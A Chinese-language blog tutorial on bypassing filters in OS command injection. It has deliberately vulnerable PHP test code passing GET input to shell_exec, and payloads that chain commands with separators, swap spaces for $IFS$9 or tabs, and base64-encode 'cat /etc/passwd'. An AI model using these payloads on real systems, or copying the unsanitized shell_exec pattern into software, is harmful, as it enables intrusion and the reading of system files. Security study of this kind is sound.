命令执行技巧

4 篇文章 0 订阅

命令执行将执行系统命令,因此利用Linux shell中的特性,从而达到绕过防御的效果

测试代码:

<?php
   highlight_file(__FILE__);
   $name = $_GET['name'];
   $output=shell_exec('echo'.$name);
   echo $output;
   ?>
Linux shell中分隔符
换行符(%0a)、回车符(%0d)、连续命令(;)、管道符(|)、逻辑符号(||、&&)

注意:在使用回车符的时候要加反引号,逻辑符||的时候要保证前面的语句执行错误

例如:

<?php
	highlight_file(__FILE__);
	$ip = $_GET['ip'];
	$output = shell_exec('ping -c 3'.$ip);
	echo '<pre>'.$output.'</pre>';
?>

我们可以构建

?ip=127.0.0.1.a||whoami
Linux shell 中的空格
%09(teb,在PHP环境下)、$IFS$9、${IFS}、$IFS、<>

注:$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名, 加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用 ;为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。 不仅 $9可以使用,其他的数字也都可以正确绕过。

实验代码:

<?php
    highlight_file(__FILE__);
	$name=$_GET['name'];
	$name=str_replace(' ','',$name);
	$output=shell_exec('echo'.$name);
	echo $output;
?>

payload:

?name=abc;cat%09/etc/passwd
?name=abc;cat$IFS$9/etc/passwd
常用绕过技巧
  1. 重定义变量 绕过命令过滤

    ;a=l;b=s; a a ab

  2. base64编码绕过

    `echo Y2F0IC9ldGMvcGFzc3dk|base64 -d`
    

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值